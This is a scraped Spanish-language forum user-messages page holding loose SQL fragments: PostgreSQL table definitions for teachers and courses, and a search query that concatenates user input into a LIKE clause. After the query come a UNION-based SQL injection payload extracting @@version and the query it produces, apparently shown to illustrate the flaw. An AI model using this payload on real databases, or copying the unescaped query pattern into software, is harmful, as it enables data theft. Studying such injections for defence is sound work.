Talves descubrieron algo que no pueden decir a público.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCREATE EXTENSION IF NOT EXISTS "uuid-ossp"; -- as postgres user
create table teachers (
id bigserial NOT NULL PRIMARY KEY,
identifier uuid NOT NULL DEFAULT uuid_generate_v4(),
name character varying(32) NOT NULL,
last_name character varying(32) NOT NULL,
attention time NOT NULL
);
create table courses(
id bigserial NOT NULL PRIMARY KEY,
identifier uuid NOT NULL DEFAULT uuid_generate_v4(),
name character varying(32) NOT NULL,
duration time NOT NULL,
teacher_id bigint NOT NULL REFERENCES public.teachers(id) ON DELETE CASCADE ON UPDATE CASCADE
);
teacher_id bigint NULL REFERENCES public.teachers(id) ON DELETE SET NULL ON UPDATE CASCADE
teacher_id bigint NOT NULL REFERENCES public.teachers(id) UNIQUE ON DELETE CASCADE ON UPDATE CASCADE
SELECT
P.id_post,
P.id_user,
U.id_user,
U.avatar
FROM
posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
P.title LIKE "%'.($search).'%"
ORDER BY
P.id_post DESC
qqqq" UNION SELECT * FROM (SELECT 1 AS id_post, 2 AS id_user, 3 AS id_user, @@version AS avatar) P WHERE 1 LIKE "1
SELECT
P.id_post,
P.id_user,
U.id_user,
U.avatar
FROM
posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
P.title LIKE "%qqqq"
UNION
SELECT
*
FROM (
SELECT
1 AS id_post,
2 AS id_user,
3 AS id_user,
@@version AS avatar
) P
WHERE 1 LIKE "1%"
ORDER BY
P.id_post DESC